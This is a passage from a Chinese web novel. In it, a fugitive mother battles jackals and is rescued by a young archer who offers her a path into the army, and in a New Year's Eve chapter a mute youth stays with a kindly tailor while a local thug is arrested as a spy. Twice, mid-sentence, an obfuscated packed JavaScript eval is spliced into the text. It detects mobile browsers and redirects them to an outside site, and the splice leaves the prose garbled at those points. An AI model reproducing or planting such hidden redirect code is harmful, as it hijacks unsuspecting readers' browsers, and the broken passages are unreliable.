命运就是如此不公。分明是万般无奈之时的自保,她却要为此付出代价。 母子俩依偎在树下取暖,天色渐渐昏沉。 “呜——” 万籁俱寂之时,一声凄厉的嗥叫突然响起,划破了无垠雪幕。 听见那声音,妇人一惊,瞳孔里瞬间写满恐惧! ——是觅食的胡狼! 先前赶路时,应付寒冷、疲惫和饥饿占据了她的大部分心神,她竟忘了荒漠中还有这一重隐患! 其实妇人很清楚,即便没有遇上胡狼,他们活下去的几率也是相当渺茫的,可这并不意味着她就不害怕。 积雪封路,这些胡狼自然也寻不到食物,挨了好几天饿。它们有着利刃般的齿爪,迫不及待想要剖开猎物的胸膛,撕扯、吞嚼其中的血肉! “呜——呜——” 令人胆寒的嗥叫声仍萦绕在耳畔。 妇人僵硬地抬头,不远处,果然有几点红光自昏暗暮色中亮起。 是胡狼的眼睛。 她的视线已经被.干涸的血迹弄得模糊了,但她能判断出来,胡狼,远不止一只。 妇人颤抖着将手伸向腰间,那里悬挂着一个布包。 打开布包,里面赫然是一把细长的砍刀,刀身上还凝着暗褐色的血块。 数月前,她便是用这把刀砍碎了丈夫的脑袋。 那个男人残暴又无能,每日除了赌博酗酒就是打骂妻子,她早已对他恨之入骨。所以,在丈夫试图将她打晕卖去妓馆时,她毫不犹豫地抽出了砍刀。 手起刀落,血沫四溅,葬送了一个凶恶赌徒的命,却也为她开启了一段全新的人生。 那时她惊奇地发现,原来杀人并不是什么很困难的事,就和劈柴一样。 杀人须得偿命。她因此被官兵追捕,被迫颠沛流离忍饥挨饿,但她从不后悔,唯一的遗憾是让丈夫死得太过容易了。 再给她一次机会,她会将他绑起来,再一刀刀剜去骨肉,让他好生尝尝这千百个日夜来萦绕在妻儿身边的恐惧! 思及故往,妇人浑浊的瞳仁里闪过一缕奇特的光。 她伸手解下头巾,一点点将砍刀上的血块擦拭干净。 银白锋刃渐渐显露,雪亮寒光足以刺痛人的眼睛。 “阿福,”妇人突然唤儿子的名字,“爬到后面那棵桦树上去。无论发生什么,都不要下来。” 幼童不明白她的意图,站在原地不动,只愣愣地望着母亲。 妇人神色严肃,把儿子往身后一推,低吼道: “愣着干什么?还不快去!往日你不是最爱偷摸爬树吗?” 这下幼童终于不再犹豫。他抱着树干,三五步就灵活地爬到了高处枝杈上。 妇人握紧刀柄,摇摇晃晃地往前走了两步。 “你们这些畜生,”她轻蔑地打量着那些胡狼,语气森寒,“想要我和我儿的命,先问问我的刀同不同意!” 群狼在地上刨了刨爪子,随即一拥而上。 杀! 妇人重重挥起砍刀,来一个屠一个。狼首被她割下,狼爪被她斩断,血水在雪地上开出一朵又一朵殷红糜艳的花。 完全是不要命的杀法。 此刻,这个女人已然化身为厉鬼修罗。只要她还活着,她就不会让这些狼靠近桦树半步! 躲在树上的幼童窥见这血腥的一幕,早就被吓破了胆。 他拼命捂着嘴,不敢发出任何声音,唯恐对母亲造成干扰。 受连日暴雪影响,这些胡狼也已经饿了很多天,一个个骨瘦如柴,行动较往日迟缓不少,因此给了妇人喘息的机会。 “我要杀了你们……”她伸手抹去侧脸上的血迹,形容堪称可怖,“我要杀光你们!” 膝盖骤然一痛,是尖利的狼牙咬住了她的腿。妇人身体往下倒去,却借此机会扼住胡狼脖颈,刀尖往上一挑,从下颌处捅穿了狼的头颅。 ——她要斩的不是狼,是这不公的世道,还有埋藏在心底十余年、始终无法消解的恨! 六岁被拐、十六岁为人妻,她和天下千万贫弱孤女一样,忍受了非同寻常的折磨,如无意外,将一直忍到死去。 如今她不想再忍了,举起屠刀妄图斩断身上的桎梏,却背上了累累恶名。没有一个人愿意听她的辩解、没有一个人愿意放她一条生路! 她淋漓尽致地宣泄着自己的恨意,杀得肆意而快活。 可狼实在太多了。 砍刀慢慢变钝,体力也渐渐透支,她知道,此刻的自己已是强弩之末。 她的左腿被生生咬下一小块肉,剧痛令她跌坐在地,无法正常行动。 见状,最强壮的那只头狼发出一声低嗥,随即猛扑了上来! 妇人握紧砍刀,刀尖对准了自己的胸膛。 她逃不掉了,很快就会沦为这群畜生的盘中餐。 与其生生忍受被群狼撕咬分食的痛苦,倒不如一击毙命,干脆利落地死! 意识到即将发生什么,幼童惊惶道:“娘亲——!” 一切都发生在刹那间。 “咻——” 银光撕裂暮色,一支羽箭自远方破空而来,不偏不倚擦过妇人手背,带出一条细长的血口子。 吃痛之下,妇人下意识松开手,“哐当”一声,砍刀便掉在了地上。 而这还没完。 “哧——!” 箭簇没入胡狼脖颈,霎时间,血肉横飞。 它扎得又稳又准,直中要害,顷刻间便令那只头狼丧了命,连挣扎的余地都没有! 头狼已死,见大事不妙,其余胡狼不敢再起觊觎之心,短嗥几声后便纷纷掉头逃跑了。 妇人“哇”地吐出一大口血。 那具狼尸安静地躺在她脚边,脖颈处钉着一根羽箭,源源不断的血水正从伤口处涌出。 因为沾了血,箭尾银白色的翎羽被染成妖艳诡异的红色,血迹丝丝缕缕蜿蜒交织,像开在冥府忘川河边的彼岸花。 “娘亲……娘亲!” 幼童跌跌撞撞地爬下树,抱着母亲的腰,害怕得大哭起来。 妇人勉强直起上半身,拍着儿子的背,轻声哄道: “别怕,娘亲在,已经没事了……” 她运气好,虽然挂了不少彩,但没有伤及要害。 尽管如此,妇人浑身仍保持着高度紧绷戒备的状态。 她能感受到,方才破空袭来的那一箭里裹挟着极为凛冽的杀意。 比寒渊还要冰冷,比邪祟更为凶戾。 寻常人是射不出这样的箭的。 ——到底是谁救了他们?神威武将?恶鬼阎罗? 妇人无声抬头,望向羽箭射来的方向,目光中充满敬畏之色。 此时天边垂挂着最后一点残阳,金红余光沿着远山的线条游走,给那个还没来得及收弓的身影镀上一层血色轮廓。 可令妇人没想到的是—— 那人既非神威武将,也不是什么恶鬼阎罗,而是一名面容稚嫩、瞧着年纪还很小的少年! 对方跨坐在一匹踏雪乌骓上,身披雪白狐裘大氅,束在脑后的青丝被猎猎长风吹得四散纷扬。 若非他手中还执着一柄长弓,仅凭那单薄的身影,旁人绝对不会相信是他射出的那一箭! 见妇人这边危机解除,少年微微眯起眼,反手将多抽出来的羽箭塞回箭筒。 随后,他策马来到母子二人身边,蹙眉问: “北境苦寒,大雪封路多日,为了防止发生意外,官府已严禁百姓私自外出。你们为何会出现在此处?” 这小少年最多也就十岁出头的模样,说话口吻却意外的老成。他五官尚未完全长开,但不难看出容貌生得极好,乌发雪肤、唇红齿白,眉心烙着一片银莲花瓣状的浅紫色胎记。 妇人本想着会不会是哪个王公贵族或者富商大贾家的小公子,但此番离得近了,她才发现,这孩子的衣饰打扮非常素。束发用的是粗糙雕刻的木冠,衣服是由民间常见的棉麻布料纺成,连肩上的狐裘也不是名贵的雪狐皮,白中透出一点点杂色,应当是普通山狐皮毛所制。 朴素得过了头。 他浑身唯一的装饰,只有腰间悬着的一枚玉佩。那玉佩通体莹润无瑕,表面雕着精致的兰草纹样。 都说人靠衣装马靠鞍,到了这少年身上,却也不尽然。 他的气质太过出尘,瑰姿奇表、锋韵内藏,犹如禅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490823|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室中蓄养出来的名贵兰草,突兀地长在了这北原的雪地里。 扶风穿林樾,涉水寻兰皋。君子佩兰,当真妙极。 可这样的人,怎么会是一尊玉面杀神? 妇人一时想得出神,没回答对方的问题。 于是少年又重复道: “你们是什么人?为何会出现在此?” “我们……” 妇人回过神,刚要开口,却又闭上了嘴。 这孩子所持的弓是玄铁曲弓,她认得这种弓,一般只有戍边军才会持有。换句话说,他大概是军队的人! 而她现在正被官府通缉,贸然报上名字,岂不是自投罗网? 妇人陷入了沉默。 见她不肯答话,少年似是失去耐心,马鞭一扬便要离开。 “小公子请留步!”怕对方真就这么走人,妇人强忍着腿上的痛,急忙唤了声,“马上就要入夜,附近没有栖身之所,那些恶狼也可能再回来!能否请您发个善心,带我的这个孩子离开此处?” 她把身边的幼童往前一推,继续道: “我贱命一条,又背负着罪孽,注定是活不成了,可稚子无辜!我恳求您帮帮——” 少年打断道: “明日清晨我就要随军离开北原。路途遥远艰辛,条件极为艰苦,断不可能带着一个……” 他顿了顿,随即摇头道: “总之,我帮不了你们。” ——妇人听出来了。少年没说出口的那个词,是“累赘”。 她忽然膝盖并用往前爬了几步,额头重重磕在雪地上,声如泣血: “我这个儿子非常听话,他绝不会拖累您的!倘若您不救他,他一定、一定会死在这里的……” 妇人拽了把身边的儿子,幼童也跟着跪下来,学母亲的样子砰砰磕头。 少年淡声道: “这里离边陲城镇不远,你们为何不去镇上求救?近来北境常有河宛流寇作乱,各处关口都卡人卡得紧,你母子二人来路不明,便是我想施以援手,也有心无力。” 妇人神色黯然:“事已至此,我就不再瞒您了。” 她将自己的身世和遭遇和盘托出,企图换来对方的怜悯。 “如您所见,我现在是戴罪之身,被官府抓到后注定难逃一死,只能在塞外流窜。我已不奢求苟活,只希望我儿能平平安安。” 听完她声泪俱下的讲述,少年面色却没有太大变化。 “世上蒙冤受辱之人无数,若你所言全部为真,那错的便不是你,而是这吃人的世道。既然无罪,何须逃避?” “小公子这话,未免太过‘何不食肉糜’!”妇人苦笑了声,“遇到胡狼,我尚且可以殊死一搏,全力争一条生路;可要扭转世人的看法,谈何容易?设身处地想想,如若您置身于我这般境地,可有方法解开此局?” 闻言少年静默片刻,用冷淡的目光打量着母子二人。 “我确实,有一个办法。”他突然道。 妇人愣了愣。 少年从袖中取出一物,顺手掷到她面前。 是一块沉甸甸的铁牌。牌面上雕了不少飞禽走兽的花纹,正中间却是空的,像是在等待刻字。 这是…… “近来北原蛮族不太安分,时常骚扰我大沂边境,规模虽小,也须时刻警惕。等明年开春,难保他们不会有大动作,”少年缓缓道,“为此,沂帝陛下准许天瞿军重新募兵。哪怕是流民逃犯,只要愿为家国效力,一样能得到认可。” ——天瞿军?! 听见这个名字,妇人难以置信地抬起了头。 整个大沂谁人不知天瞿军的名号? 十年前,北原五族进犯沂国,彼时山河破碎生灵涂炭,是吕殊景将军带领天瞿军北上,于白微关大破须滕军队,斩杀须滕王贺叶屈劼,才保住了这片土地。 她拾起落在面前的铁牌,指腹一寸寸摩挲着上面的花纹,顿觉不可思议。 “这是募兵用的名牌。拿着它,去边境关口找天瞿军的驻卫,他们会带你去军营报名。” 妇人喃喃道:“可我是女子,这未免太过荒唐!” “女子为何不能从军?”少年微微拧眉,“吕殊景将军的结发妻子甄夫人,十年前便战死在白微关。贺叶屈劼将她逼入绝境,断粮十日,反复以利相诱,她也不曾投降。有此气魄,红妆亦可换战鞍。你若真心想戍守边关建功立业,天瞿军不会不收你。是枉死雪原,还是涅槃重生,决定权在你手中。” “我愿意去!”没有任何犹豫,妇人握紧名牌,声音坚决得令少年都有些意外,“我手上早就沾满了血,不在乎再多沾些。或许,我这种胆大包天的亡命之徒才最适合上战场杀敌吧。谢谢公子为我指了一条明路。” “你叫什么名字?”少年问。 “潘……” 正要回答时,妇人突然顿住了。 她很小的时候就被人贩子拐卖,早已记不清自己原本的大名,只依稀记得父母似乎姓李,为她起的小名是芸儿。 后来她嫁了人,姓就随了丈夫,更名为潘芸儿。 从今往后,她不想再做潘芸儿了。 ——这个可怜可悲的女人,举起屠刀,亲自斩断了自己的过去。 “攀云,”妇人抬头望向马上的少年,神色决然,“我叫李攀云。” 16. 团圆夜 除夕。 这是一年中的最后一天。 天刚蒙蒙亮,宵烛就踩着青石板上的晨霜出了门。 百姓们都在家准备团年,镇上行人已经不多了。 穿过一条又一条街巷,走到林记裁衣铺门口,宵烛停下脚步。 和街上其他店铺一样,这家铺子也没开张。 宵烛正要叩门,这时,那扇榆木门板“吱呀”开了道缝。 裁衣铺的周师傅顶着乌青的眼圈,探头道: “是过来取新衣服的吧?料到你会来得早,我昨夜就赶着把最后的针脚给收了!外边冷,快进来快进来!” 宵烛露出感激的目光,随即跟着周师傅进了屋。 这间屋子不大,墙角置着个炭盆。炭盆将整个室内都烧得暖烘烘的,也令宵烛冻僵的四肢渐渐恢复知觉。 周师傅把宵烛领到一张软凳上坐下,又倒了杯热水。 “喝点,暖暖身子。” 热水里加了红糖,喝起来甜津津的。 宵烛小口小口啜完,意犹未尽地抿了抿嘴。 趁宵烛喝水,周师傅转头踏进里屋,出来时手上抱了一件崭新的棉衣。 这是几天前宵烛来店里订做的。 宵烛在家烤火,没控制好火候,不慎把旧棉衣烧了个窟窿,于是决定花钱重新做一身。 算起来,为了省钱,他都已经好几年没穿过新衣服了。旧衣服短了就往袖口和裤脚处多缝一截,腰身紧了就拆线改宽,布面破了就添个补丁…… 总之他奉行能省则省的准则,每个铜子儿都不敢乱花。 但今年不一样。 拜慷慨的客栈老板所赐,宵烛今年手头多了一笔闲钱,暂时不用为柴米油盐发愁了。 温饱解决后,再看以前那身行头,委实寒酸。他这才想着要不要弄件新衣服。 经过一番挑拣,最终选定了周师傅的裁衣铺。 挑料子、量尺寸、商定款式……一切都进行得很顺利。 但有个问题。 按照周师傅往常的工期,一件棉衣一般要制作半个月。算日子,等宵烛拿到成品,起码也得到年后了。 周师傅心肠好。为了让宵烛在过年时穿上新衣,他连着熬了几个夜,终于赶在除夕当天完工。 甚至没多收一文钱。 哪怕宵烛想给,周师傅也推辞不要。 “我老周活了半辈子,别的本事没有,但敢保证每件衣服都是用心做的,”周师傅展开棉衣,递给宵烛,“快试试,看合不合身。” 棉衣外层用的是素雅的靛青染花缎面,内层则填了今秋新弹的棉花,絮朵儿蓬蓬的,贴着布面铺得极为匀称柔顺。 宵烛用指腹从上头抚过时,甚至能觉出日头晒过的暄软,混着皂角与阳光的气息。 考虑到宵烛平日要干活,周师傅还在袖口和衣摆处叠缝了多层平纹裌布,又耐磨又耐脏。 口袋则特意加深了几寸,方便用来放东西。 宵烛脱下旧衣,换上新棉袄,象征性地活动了一下四肢。 非常合身。 他激动地抬起头,实在不知该如何向周师傅表达自己的感谢。 “客人满意,我就高兴。”周师傅笑着摆了摆手,随即又道:“天色还早呢,要不要留下来陪我这老头子喝两杯?咱都是家里没别人的,干脆搭伙儿过个年吧!” 宵烛一愣,下意识觉得不太妥。 但仔细想了想,还是同意了。 周师傅也是个苦命人。他年轻的时候娶过妻,与妻子情感甚笃。 可惜那姑娘身体不好,很早就去世了。往后几十年,他都没有再续弦。 这间铺子是周师傅开的,匾额上却写着“林记裁衣铺”。最开始宵烛和其他人一样对此感到不解,后来才得知,林其实是周师傅发妻的姓。 夫妻俩曾约好一起将裁衣铺做大,可惜还没等约定实现,其中一方就已经撒手人寰。 为了缅怀妻子,周师傅独自把这家店经营了几十年。 看着周师傅因疲惫而略显憔悴的脸,宵烛像吃了一颗没熟的青杏,心里微微泛起涩意。 家不是冷冰冰的房子。有亲人的地方才有家。 ——他们何其相似,都是没有亲人、无家可归的人。 * 岁序更替、除旧迎新,在普通百姓眼里,是一年中尤为重要的大事。 宵烛和周师傅一起,把店铺里里外外仔细清扫了一遍。 门上挂对联、窗上贴窗花……忙完一看,原本冷冷清清的屋子里总算有了年味。 “辛苦你陪我忙活大半天,”周师傅拍拍宵烛的肩,“去歇会儿吧,正好我去炒几个菜。虽然咱就两个人,但年夜饭嘛,也不能敷衍了事。等着尝尝我的手艺!” 宵烛乖巧地点了点头。 等年夜饭上桌,已是傍晚时分。 考虑到两个人吃不了太多,周师傅只简单做了几道小菜。 宵烛用竹筷戳开盘中的鱼腹,浓郁酱汁立即顺着雪白鱼肉淌下来,在暖黄灯光里泛着蜜色;猪肉芹菜馅儿的水饺在汤锅里翻滚,面皮煮得软烂,碰一下就要破了;绿油油的青椒被切成细丝,和葱姜蒜一起交叠堆在盘子里,非常漂亮;还有八宝饭、枣花馍…… 着实色香味俱全。 周师傅喝了点酒,酒劲上头,话也比平日多些。 他絮絮叨叨讲了很多生活中的琐事。无论能否听懂,宵烛都在认真倾听。 “……我年纪也大了,半截身子在土里,哪天遇到点小病小灾,说不定就被阎王爷带走了,”讲着讲着,周师傅忽地搁下杯盏,望向宵烛,“其实我不怕死,毕竟,这世间对我来说值得留恋的东西不多。但这间铺子是我和春慧共同的心血,等我死了,门上的匾额肯定要被撤走。如此一想,总觉得很不甘心。” 握着筷子的手顿了顿。 宵烛直觉周师傅话里有话。 果然,周师傅说: “我看你是个好孩子,为人本分踏实又勤快。如若你不嫌弃,等过完年可以来我店里做事,我把制衣手艺连同这家店面一起传给你。往后我们彼此也有个照应,如何?” 教手艺、送店面,这简直是天上掉馅饼了。 宵烛颇感意外。 他没想到周师傅如此信任自己。 但短暂的心动过后,宵烛摇了摇头。 ——周师傅的恩惠,不是他不想接受,是他没办法接受。 魂晷已经告诉他,宣兰樾很快就要抵达石硚岭。 也就是说,他在石硚岭待不了多久了。 那么宣兰樾到底为何会突然来到石硚岭呢? 通过四处打听,宵烛得知,近来沂国边境时常有北方流寇作乱,给百姓造成了不小的困扰。 为此,沂帝下了一道旨令,命驻扎在西北的天瞿军首领吕殊景带兵东行,沿途清剿流寇,待完成任务,再回京述职。 沂国地形特殊,从西北到东北,中间横亘着一道险峻的白微关。想要往东,必须先往南绕一条远路,以避开白微关。 如此势必会经过石硚岭。 也就是说,宵烛要找的宣湣转世宣兰樾,很可能就在这支东行的天瞿军里! 宣兰樾又为何会和天瞿军扯上联系? 通过整合多方消息,宵烛大致拼凑出了事情的原委。 天瞿军的首领吕殊景将军,是沂国先皇后吕氏的弟弟,也就是七皇子宣兰樾的舅舅。 当初被逐出皇宫后,宣兰樾一直下落不明。现在想想,如若宣兰樾是由舅舅吕殊景收养,在西北天瞿军驻地长大,一切便说得通了。 等天瞿军抵达石硚岭,大概会在此停下休整几天。 宵烛必须趁着这个机会接近宣兰樾,然后跟在对方身边。 宵烛还没忘记自己来人间的目的。他是来陪太子历劫的,不是来游历散心的,仙帝命令他做什么他就得做什么。 敢撂担子不干,窝在石硚岭继承裁衣铺?那是嫌自己命长。 见宵烛拒绝,周师傅也没有强人所难。 他叹气道: “也罢……人各有志。往后你要是遇到什么困难,随时可以来找我。” 宵烛点头应下。 一顿饭吃完,周师傅去收拾碗筷。宵烛也起身扫地擦桌。 这时,外面大街上忽然传来一阵喧哗声。 那声音实在太过刺耳,像是有人在拼命哭喊,混合着几道脚步声和激烈的咒骂声。 ——大年夜的,又这么晚了,谁在外面折腾? 宵烛皱了皱眉,走到窗边拉开窗帘。 只见大街上,几名官兵正押着个人,神情严肃地往官府的方向走。 一名年迈的老妇人拦在他们面前,哭得声嘶力竭: “求老爷们行行好,不要带走我儿……他绝对不会犯下那种大错!” 为首的官兵露出不耐烦的神色,伸手将她推开: “有没有罪,带回官府一审便知!老人家,今夜是除夕,我们兄弟还赶着交差回家呢,您也别为难我们了!” 老妇人被推得一个踉跄,跌坐在地上。 她身子骨本来就不好,这么一推,竟连站也站不起来了。 见状,那名被押着的犯人陡然挣扎起来,似是想要去扶。 “我老实跟你们走,你们别欺负我娘!”犯人冲官兵大叫,随即又对老妇人道:“娘,您回去吧,我没犯事,真的没事!县令老爷只是传我过去问个话,问完我就回来了!您回去吧!” 目睹此情景,宵烛微微瞪大眼睛。 那名犯人……他认识! 竟然是屠狗六! 此刻这无赖一改往日的威风模样,变得无比狼狈。 官兵重重往屠狗六膝盖处踹了一脚,他立刻失去挣扎能力,只能被拖着前行。 那条总跟在他身边的癞皮狗不知所踪。 ——大过年的,这是犯啥事了? 难得亲眼看见讨厌的人吃瘪。宵烛虽疑惑,心里却有点幸灾乐祸。 屠狗六此人,平日里一向嚣张跋扈,什么坏事烂事都敢做,今日总算受到制裁了! 当真是天道好轮回,善恶因果报应不爽! 官兵们很快押着屠狗六远去。 街上只剩下了那名老妇人,也就是屠狗六的娘。 这件事和宵烛一点关系都没有,本来他也不打算多管闲事,不想引火烧身。 但那老妇人孤零零坐在除夕夜的大街上抹眼泪,佝偻着背,看上去无比凄凉,不知怎的,这副画面像一根刺,牢牢扎在宵烛眼里,令他无法忽视。 半晌,宵烛叹了口气,披衣出门。 没了温暖的炭盆,外面冷得像座冰窖。宵烛一边搓手一边往掌心呵气。 等走到老妇人身边,他伸出手,想要把她扶起来。 这么冷的天,留行动不便的老人家一个人在大街上,肯定会出事的。 宵烛做不到见死不救,哪怕对方是屠狗六的母亲。 出乎宵烛意料的是,老妇人对他的靠近毫无反应。 仔细观察就能发现,她的眼睛和寻常人不同,里面有一层灰翳,像蒙了块布。 原来……是个瞎子。 宵烛弯腰拍了拍她的肩膀。老妇人一惊,紧紧拽住宵烛的袖子,问:“六郎!是你吗?” 宵烛想说不是。 但他们一个哑,一个瞎,这要怎么交流啊? 好在老妇人对儿子的气息还是熟悉的,她很快就明白自己认错了人,失魂落魄地松开了手。 看起来,这对母子平日里关系应该挺不错。 屠狗六居然是个孝子。 真稀奇。 不过一直杵在街上也不是个事。宵烛搀着老妇人的胳膊,想把她扶起来。 老妇人却嘶哑着嗓音,说: “好心人,你快回家去守岁吧,不用管我这糟老婆子,免得平白给你添了晦气。我哪里都不去。我就坐在这里,一直等到他们放我儿回来。” 她干瘪的嘴唇冻得乌青发紫,说话时牙关不停打颤,态度却很坚决。 宵烛一时没了主意。 人命关天,置之不理未免显得太过冷血。 可人家又不肯接受他的帮助,总不能强行把对方带走吧? 宵烛犯难之际,周师傅也听到了外边的动静,过来查看情况。 见到屠狗六的母亲,他显然吃了一惊: “陈嫂子,您怎么在这里?!” 他们认识? 听见熟悉的声音,老妇人木然的脸上总算有了些波澜。 “是……周裁缝?” “对啊,自从您搬走,我就好些年没见过您了!外边冷,我的铺子就在街对面,您要是不嫌弃的话,去坐会儿吧!” 老妇人闻言,露出一抹犹豫之色。 但故人太过热情,话里话外都令她推拒不得,最后,她还是起身,跟着周师傅进了裁衣铺。 宵烛暗暗松一口气。 * 进屋后,周师傅往火盆里添了几块新炭。三人围坐在火盆旁烤火。 “陈嫂子,今日除夕,您怎么没在家守岁?”周师傅小心翼翼地问陈老夫人,“您家里……现在还有人吗?” “我没什么福分,丈夫和前五个儿女都早早走了,只剩一个幺子。后来我眼睛坏了,就很少出门了,”陈老夫人神色黯然,“今晚六郎陪我守岁,可他不知惹上了什么事,本来守岁守得好好的,家里突然闯进来几个官兵,硬是要把他带走。我跟了他们一路,也求了他们一路,求他们放过我儿,可最后、最后……” 她说不下去了,慢慢抽泣起来。 周师傅听后,气愤道: “连个理由都不给,随随便便就抓无辜之人,那些官兵简直欺人太甚!” 宵烛握着火钳,坐在旁边的软凳上,不停翻动着火盆里的木炭。 他默默想,看样子,周师傅还不知道陈老夫人的幺子就是臭名昭著的恶棍屠狗六。 若是知道了,肯定说不出刚才那番话。 无辜之人?哼,无辜个鬼啊。 屠狗六平日横行霸道惯了,这回估计是踢到了哪块铁板,才会被抓的吧! 见陈老夫人忧思过重,周师傅安慰道: “您先别急,我认识一个在官府当值的朋友,明日就去帮您打探令郎的消息。” 陈老夫人边抹眼泪边道: “有劳你替我跑一趟!六郎性子老实,嘴巴又笨,我真怕他就此蒙冤入狱出不来了!” 听到“性子老实”“嘴巴笨”,宵烛眼角抽了抽。 这屠狗六也真是个惯会演的,对着母亲是一套,对着旁人又是另一套。 演得他差点都要以为,那天拦路抢他筒子骨、害他丢了工作的另有其人了。 火盆里的木炭一点点燃烧,发出细微“哔剥”声。 周师傅说: “和我客气个啥?咱们以前做了那么多年邻居,当年我与春慧成婚也是您给说的媒。这份恩情,我本来就应该还!” 陈老夫人道: “那时候你还是个年轻小伙呢!现在都自己开店当老板了,真有出息。只可惜春慧丫头福薄……” 话匣子开启就收不住。他们又聊了很多旧事。 除夕守岁,按理应当熬一整晚。 陈老夫人年纪大,熬不住,周师傅便简单拾掇了一下客房,让老人家先休息。 又过几个时辰,连宵烛也撑不住了。 他上下眼皮打架打得厉害,便裹着一条厚毡子,靠在墙角,沉沉睡了过去。 到后半夜,外面有爆竹声响起,噼里啪啦声里迎来了崭新的年岁。 宵烛睡得很死,没听见。 * 翌日,宵烛醒来时,天已大亮。 周师傅不在屋里。想来是记着昨夜的承诺,打探屠狗六的消息去了。 宵烛腿脚都坐麻了。 他掀开身上的毛毡,正要起身,一只沉甸甸的红色布袋突然从毛毡夹层里掉了出来。 宵烛捡起布袋,拆开,里面装着一串铜钱。 居然是压岁钱。 宵烛有点感动。 自爹娘去世后,他已经很多年没收到过红包了。 周师傅待他,当真是极用心的。可惜他没办法回报这片真心。 陈老夫人此时也起床了。宵烛扶着她出门,坐在门口晒太阳。 “我听周裁缝说,你不会说话,家里也没有别的亲人,”老人家看不见,便用粗糙的手掌拍了拍宵烛的手背,轻声叹道,“是个苦命的孩子。” 她顿了顿,又说: “我家六郎比你年长几岁,也在镇上做工。等他回来,你们可以互相认识认识。他个头高,力气大,以后若遇到什么难事,尽管找他帮忙!” 听着她的碎碎念,宵烛心情有些复杂。 屠狗六哪有什么正经工作?他成天带着那条癞皮狗,游手好闲四处作恶,旁人见到了都避之不及,谁敢主动凑上去和他交友啊! 看样子,老太太平日应该不怎么不出门,一直被蒙在鼓里,还以为儿子真是个老实本分的人呢。 也罢。 若谎言能让她安心,就这么瞒着,似乎比告知真相更好。 安置完陈老夫人,宵烛转头去了灶间。 昨晚的年夜饭还有剩菜。宵烛打算把剩菜热一热,等周师傅回来,刚好能赶上中饭。 * 晌午时分,周师傅终于回来了。 他紧锁着眉,脸上布着一层浓云,神情非常严肃。 宵烛心头一跳。 看样子……带回来的应该不是什么好消息。 周师傅轻手轻脚地绕开陈老夫人,拉着宵烛走到里屋。 等确定老太太听不见后,才压低声音,对宵烛道: “出事了!” 宵烛用眼神表达了自己的诧异。 “我也是刚刚才知晓,陈嫂子的幺儿屠六郎,居然是那恶棍屠狗六!”周师傅痛心疾首道,“那混小子真是没良心,居然连亲娘都骗!陈嫂子只剩他这么一个儿子,不成器就算了,还满口谎言!” 此事宵烛早就知道了,倒也不惊奇。 他更关心的是——屠狗六到底犯了什么事? 似是看穿宵烛心中疑问,周师傅说: “待会儿你可一定要和我一起瞒住老太太,千万别让她发现端倪——她那好儿子大概是保不住了,官兵昨夜搜查一宿,在他身上发现了须滕奸细的信物!他竟敢通敌!” 奸细?!通敌?! 这两个词把宵烛砸得有点懵。 他立刻想起了不久前在菜市场门口发生的一件事情。 那时屠狗六向他询问贺叶屈邻真的下落,原来不是为了拿朝廷的赏金,而是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490824|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助对方逃走吗? 可总觉得……有哪里不太对。 周师傅继续道: “屠狗六也真是个糊涂的。我听官府当值的朋友说,前两日屠狗六去典当了一对断镯子,你猜怎么着?那玩意儿外观看着平平无奇,实则里面掺了玄古秘银!玄古秘银是稀罕物,常被用来制作押运囚犯的镣铐,民间不可私自流通。发现此事后,当铺老板当即禀报了官府,确定屠狗六典当的那副银镯子正是朝廷重犯所佩戴的镣铐。如今人证物证俱在,县尉老爷下了令,等年后就要将他处斩!” 宵烛听后更加愕然。 玄古秘银手铐怎么会出现在屠狗六手里?难道屠狗六和贺叶屈邻真见过面?贺叶屈邻真已经逃出沂国了吗? 周师傅又说: “这么大的事,我也不知道该怎么跟老太太说……唉,大过年的,先扯谎瞒她几天吧,就说目前还没消息。我怕老人家受不了打击!” 留下一声长长的叹息后,周师傅离开了。 宵烛反复回味着周师傅刚才的那番话,越品越觉得不对劲。 屠狗六真的是须滕奸细吗? 这根本说不通。 首先,如若屠狗六真是奸细,在帮助贺叶屈邻真逃跑后,为何要大摇大摆拿着玄古秘银镣铐去典当?这不是明摆着自投罗网吗?屠狗六虽然贪婪,但还不至于蠢到拿性命安危去换蝇头小利吧。 其次,县尉的态度也很奇怪。 一般来讲,抓到重要的奸细,首先肯定要严刑拷问,等问出有价值的线索后再通禀朝廷,等候上级官员的判决。 可现在才过去一夜,县尉就下达了对屠狗六的处决令,会不会……太急了点? 宵烛又想起一件怪事。 当初他和贺叶屈邻真相遇是在一间山洞里,为了避雨,两个毫不相干的人产生了交集。 后来有一天,宵烛再次路过那间山洞,本想进去看看情况,最后还是没去。 那时宵烛总感觉,身后有人尾随,可又觉得是自己多心了。 ——试想,如若他没有多心,尾随他来到山洞附近的人是屠狗六呢? 屠狗六贪图悬赏告示上的赏金,跟踪宵烛来到山洞外。等宵烛走后,便偷偷进入山洞。最后他没找到逃犯,却发现了一副遗落在地上的断裂银镯。屠狗六不知道这“银镯”其实是一副镣铐,而且是逃犯戴过的玄古秘银镣铐。秉着便宜不捡白不捡的想法,他拿着银镯去了当铺…… 仿佛九连环被解开关键的一扣,由果溯因,宵烛的思绪陡然清晰起来。 或许,屠狗六的确不是奸细。 当然,以上都只是宵烛的推测。还有很多扑朔迷离解释不清楚的地方。 比起担心屠狗六,宵烛现在更担心自己。 